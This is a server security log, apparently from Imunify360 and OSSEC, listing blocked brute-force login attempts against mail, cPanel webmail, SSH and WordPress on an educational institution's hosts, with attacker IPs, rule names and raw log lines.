abuser: 116.114.84.234
description:
Jan 29 23:07:29 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.114.84.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.33.79
description:
2025-01-29 23:07:10 dovecot_login authenticator failed for 079.33.246.220.static.netvigator.com [220.246.33.79]:52522: 535 Incorrect authentication data (set_id=dhdvn)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.159.152.6
description:
Jan 29 23:07:12 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.159.152.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.234
description:
2025-01-29 23:07:31 dovecot_plain authenticator failed for ([116.114.84.234]) [116.114.84.234]:59203: 535 Incorrect authentication data (set_id=abs20b00166y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.166.140.172
description:
Jan 29 23:06:57 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 198.166.140.172 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 104.155.105.223
domain: admissions.ait-edu.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:23-06.104.155.105.223


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.33.79
description:
Jan 29 23:07:08 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.33.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.159.152.6
description:
2025-01-29 23:07:14 dovecot_plain authenticator failed for (abrodall) [93.159.152.6]:60238: 535 Incorrect authentication data (set_id=ads19a00062y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.113.241.39
description:
2025-01-29 23:07:48 dovecot_plain authenticator failed for p170040-obmd01.osaka.ocn.ne.jp [61.113.241.39]:42880: 535 Incorrect authentication data (set_id=abs20b00166y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.195.195.160
description:
Jan 29 23:06:58 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.195.195.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.166.140.172
description:
2025-01-29 23:06:59 dovecot_login authenticator failed for h198-166-140-172.ptr.cidc.telus.com [198.166.140.172]:25322: 535 Incorrect authentication data (set_id=dhdvn@iric.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.113.241.39
description:
Jan 29 23:07:46 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.113.241.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.195.195.160
description:
2025-01-29 23:07:00 dovecot_plain authenticator failed for (mobile-166-195-195-160.mycingular.net) [166.195.195.160]:58298: 535 Incorrect authentication data (set_id=aabdulrahaman)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 23:08:35 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.174.242.5
description:
Jan 29 23:08:38 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.174.242.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.174.242.5
description:
2025-01-29 23:08:40 dovecot_plain authenticator failed for c-73-174-242-5.hsd1.pa.comcast.net (twidipe) [73.174.242.5]:52788: 535 Incorrect authentication data (set_id=rfiawoo13@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.59.228.160
description:
Jan 29 23:07:57 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.59.228.160 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 160.238.0.253
description:
[2025-01-29 23:07:58 +0100] info [webmaild] 160.238.0.253 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.228.160
description:
2025-01-29 23:07:59 dovecot_plain authenticator failed for ([41.59.228.160]) [41.59.228.160]:42868: 535 Incorrect authentication data (set_id=abs20b00166y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 23:08:11 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.36.69.22
description:
[2025-01-29 23:08:23 +0100] info [webmaild] 177.36.69.22 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 23:08:58 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.20.104.161
description:
2025-01-29 23:09:03 dovecot_login authenticator failed for ([127.0.0.1]) [89.20.104.161]:60370: 535 Incorrect authentication data (set_id=mssept2014)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 93.157.189.202
description:
[2025-01-29 23:09:22 +0100] info [webmaild] 93.157.189.202 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 86.108.32.60
description:
[2025-01-29 23:09:15 +0100] info [webmaild] 86.108.32.60 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.8.185.28
description:
Jan 29 23:08:55 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.8.185.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.8.185.28
description:
2025-01-29 23:08:57 dovecot_login authenticator failed for ppp-58-8-185-28.revip2.asianet.co.th ([127.0.0.1]) [58.8.185.28]:40882: 535 Incorrect authentication data (set_id=mssept2014@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.20.104.161
description:
Jan 29 23:09:01 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.20.104.161 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.117.239.159
description:
[2025-01-29 23:09:57 +0100] info [webmaild] 138.117.239.159 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 23:10:26 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.120.178.62
description:
[2025-01-29 23:11:23 +0100] info [webmaild] 196.120.178.62 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.244.126.105
description:
2025-01-29 23:12:13 dovecot_plain authenticator failed for 92-244-126-105.kievnet.com.ua (larymit) [92.244.126.105]:53669: 535 Incorrect authentication data (set_id=edonkor@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.244.126.105
description:
Jan 29 23:12:11 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.244.126.105 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:23-13.15.206.171.64


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.41.224.125
description:
[2025-01-29 23:13:05 +0100] info [webmaild] 189.41.224.125 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.22.172.76
description:
[2025-01-29 23:13:23 +0100] info [webmaild] 177.22.172.76 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.165.151.19
description:
Jan 29 23:14:53 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.165.151.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.56.31.167
description:
Jan 29 23:13:59 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.56.31.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.56.31.167
description:
2025-01-29 23:14:01 dovecot_plain authenticator failed for p5b381fa7.dip0.t-ipconnect.de (jiblisit) [91.56.31.167]:60307: 535 Incorrect authentication data (set_id=awadzie@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 90.156.163.38
description:
[2025-01-29 23:14:47 +0100] info [webmaild] 90.156.163.38 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.165.151.19
description:
2025-01-29 23:14:55 dovecot_plain authenticator failed for ([95.165.151.19]) [95.165.151.19]:52696: 535 Incorrect authentication data (set_id=eng18b00179y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.157.14.159
description:
[2025-01-29 23:14:31 +0100] info [webmaild] 179.157.14.159 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.250.152.88
description:
Jan 29 23:15:08 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.250.152.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.21
description:
2025-01-29 23:15:10 dovecot_login authenticator failed for ([127.0.0.1]) [122.187.229.21]:45877: 535 Incorrect authentication data (set_id=ads22a00059y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.250.152.88
description:
2025-01-29 23:15:10 dovecot_plain authenticator failed for ([170.250.152.88]) [170.250.152.88]:48850: 535 Incorrect authentication data (set_id=eng18b00179y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 29 23:15:23 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-29 23:15:25 dovecot_plain authenticator failed for (poodionce) [207.188.157.230]:43946: 535 Incorrect authentication data (set_id=eng18b00217y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 23:15:43 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.112.51.206
description:
2025-01-29 23:15:01 dovecot_login authenticator failed for ec2-3-112-51-206.ap-northeast-1.compute.amazonaws.com ([127.0.0.1]) [3.112.51.206]:51244: 535 Incorrect authentication data (set_id=ads22a00059y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.21
description:
Jan 29 23:15:08 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.245.47.40
description:
[2025-01-29 23:15:46 +0100] info [webmaild] 154.245.47.40 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 3.112.51.206
description:
Jan 29 23:14:59 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 3.112.51.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 23:16:23 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.189.82.246
description:
[2025-01-29 23:16:24 +0100] info [webmaild] 179.189.82.246 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 170.64.154.110
description:
Jan 29 23:17:43 ait sshd[551657]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=170.64.154.110  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.12.37.19
description:
[2025-01-29 23:17:52 +0100] info [webmaild] 189.12.37.19 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.38.240
description:
47.128.38.240 - - [29/Jan/2025:23:17:02 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=19346199 HTTP/1.1" 302 0 aitedu.us "http://aitedu.us/main/index.php?Itemid=124&id=28&option=com_joomgallery&task=download" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.38.240


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.66.218.98
description:
[2025-01-29 23:17:15 +0100] info [webmaild] 177.66.218.98 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.69.216.249
description:
2025-01-29 23:18:44 dovecot_login authenticator failed for ([127.0.0.1]) [178.69.216.249]:40802: 535 Incorrect authentication data (set_id=ads21b00206y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.120.208.148
description:
2025-01-29 23:18:52 dovecot_login authenticator failed for ([127.0.0.1]) [146.120.208.148]:56837: 535 Incorrect authentication data (set_id=ads21b00206y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.238.40.181
description:
[2025-01-29 23:18:12 +0100] info [webmaild] 45.238.40.181 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.69.216.249
description:
Jan 29 23:18:42 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.69.216.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.120.208.148
description:
Jan 29 23:18:50 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.120.208.148 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.125.31.60
description:
[2025-01-29 23:18:41 +0100] info [webmaild] 154.125.31.60 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.10.212
description:
Jan 29 23:19:25 ait sshd[552392]: pam_imunify(sshd:auth): [IM360_RBL] The IP 182.61.10.212 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 182.61.10.212
description:
Jan 29 23:19:25 ait sshd[552392]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.61.10.212


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 23:19:30 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.173.198.180
description:
[2025-01-29 23:19:30 +0100] info [webmaild] 45.173.198.180 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 105.154.15.39
description:
[2025-01-29 23:20:34 +0100] info [webmaild] 105.154.15.39 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.185.213.220
description:
[2025-01-29 23:20:35 +0100] info [webmaild] 200.185.213.220 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 206.0.169.68
description:
[2025-01-29 23:21:09 +0100] info [webmaild] 206.0.169.68 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 85.18.236.229
description:
Jan 29 23:22:03 ait sshd[553486]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=85.18.236.229


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.109.213.8
description:
[2025-01-29 23:22:30 +0100] info [webmaild] 186.109.213.8 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.33.96.3
description:
Jan 29 23:22:39 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.33.96.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.33.96.3
description:
2025-01-29 23:22:41 dovecot_plain authenticator failed for ([14.33.96.3]) [14.33.96.3]:50204: 535 Incorrect authentication data (set_id=ads20b00324y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.152.225.58
description:
Jan 29 23:22:48 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.152.225.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.152.225.58
description:
2025-01-29 23:22:50 dovecot_plain authenticator failed for net-188-152-225-58.cust.vodafonedsl.it [188.152.225.58]:35968: 535 Incorrect authentication data (set_id=ads20b00324y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.234.224.75
description:
[2025-01-29 23:23:03 +0100] info [webmaild] 177.234.224.75 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 29 23:25:37 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-29 23:25:39 dovecot_plain authenticator failed for (wationally) [207.188.157.230]:57926: 535 Incorrect authentication data (set_id=yeboah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 23:25:47 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.39.67.3
description:
[2025-01-29 23:25:50 +0100] info [webmaild] 186.39.67.3 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.188.40.123
description:
2025-01-29 23:24:55 dovecot_plain authenticator failed for ([90.188.40.123]) [90.188.40.123]:50148: 535 Incorrect authentication data (set_id=botchway)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 91.106.42.12
description:
[2025-01-29 23:26:03 +0100] info [webmaild] 91.106.42.12 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 23:26:12 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 15.206.171.64
domain: ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:23-26.15.206.171.64


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.95.42.162
description:
2025-01-29 23:26:38 dovecot_plain authenticator failed for c-73-95-42-162.hsd1.co.comcast.net [73.95.42.162]:34276: 535 Incorrect authentication data (set_id=eng20b00207y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.95.42.162
description:
Jan 29 23:26:36 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.95.42.162 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 153.141.144.122
description:
Jan 29 23:26:49 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 153.141.144.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.141.144.122
description:
2025-01-29 23:26:51 dovecot_login authenticator failed for p235122-obmd01.tokyo.ocn.ne.jp ([127.0.0.1]) [153.141.144.122]:37720: 535 Incorrect authentication data (set_id=ads32b11317y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.119.98.157
description:
Jan 29 23:26:53 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.119.98.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.119.98.157
description:
2025-01-29 23:26:55 dovecot_plain authenticator failed for ([222.119.98.157]) [222.119.98.157]:34212: 535 Incorrect authentication data (set_id=eng20b00207y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 37.210.122.77
description:
[2025-01-29 23:27:46 +0100] info [webmaild] 37.210.122.77 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.12.114.232
description:
Jan 29 23:27:11 ait sshd[555309]: pam_imunify(sshd:auth): [IM360_RBL] The IP 198.12.114.232 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 198.12.114.232
description:
Jan 29 23:27:11 ait sshd[555309]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.12.114.232  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.215.188.37
description:
Jan 29 23:26:57 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.215.188.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.215.188.37
description:
2025-01-29 23:26:59 dovecot_login authenticator failed for ([127.0.0.1]) [102.215.188.37]:38472: 535 Incorrect authentication data (set_id=ads32b11317y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.117.37.77
description:
[2025-01-29 23:27:05 +0100] info [webmaild] 196.117.37.77 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 85.18.236.229
description:
Jan 29 23:27:08 ait sshd[555290]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=85.18.236.229


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.94.195
description:
Jan 29 23:28:39 ait sshd[555842]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.94.195


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 108.181.50.166
description:
Jan 29 23:28:06 ait sshd[555707]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=108.181.50.166  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.16.170.117
description:
2025-01-29 23:28:16 dovecot_plain authenticator failed for ip117.net-81-16-170.koping.net [81.16.170.117]:55026: 535 Incorrect authentication data (set_id=ads23a00018y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.234.143.252
description:
Jan 29 23:28:50 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.234.143.252 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.94.55.235
description:
[2025-01-29 23:28:38 +0100] info [webmaild] 138.94.55.235 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.234.143.252
description:
2025-01-29 23:28:52 dovecot_login authenticator failed for ([183.234.143.252]) [183.234.143.252]:39468: 535 Incorrect authentication data (set_id=valeria553)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.234.233.70
description:
[2025-01-29 23:28:10 +0100] info [webmaild] 177.234.233.70 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.122.255.6
description:
Jan 29 23:28:38 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.122.255.6 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.16.170.117
description:
Jan 29 23:28:14 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.16.170.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.94.195
description:
Jan 29 23:28:39 ait sshd[555842]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.94.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.135.66.173
description:
2025-01-29 23:28:08 dovecot_plain authenticator failed for ([182.135.66.173]) [182.135.66.173]:60774: 535 Incorrect authentication data (set_id=ads23a00018y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 85.18.236.229
description:
Jan 29 23:28:21 ait sshd[555732]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=85.18.236.229


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 85.18.236.229
description:
Jan 29 23:28:22 ait sshd[555732]: Failed password for invalid user pymes from 85.18.236.229 port 34918 ssh2


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.135.66.173
description:
Jan 29 23:28:06 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.135.66.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.122.255.6
description:
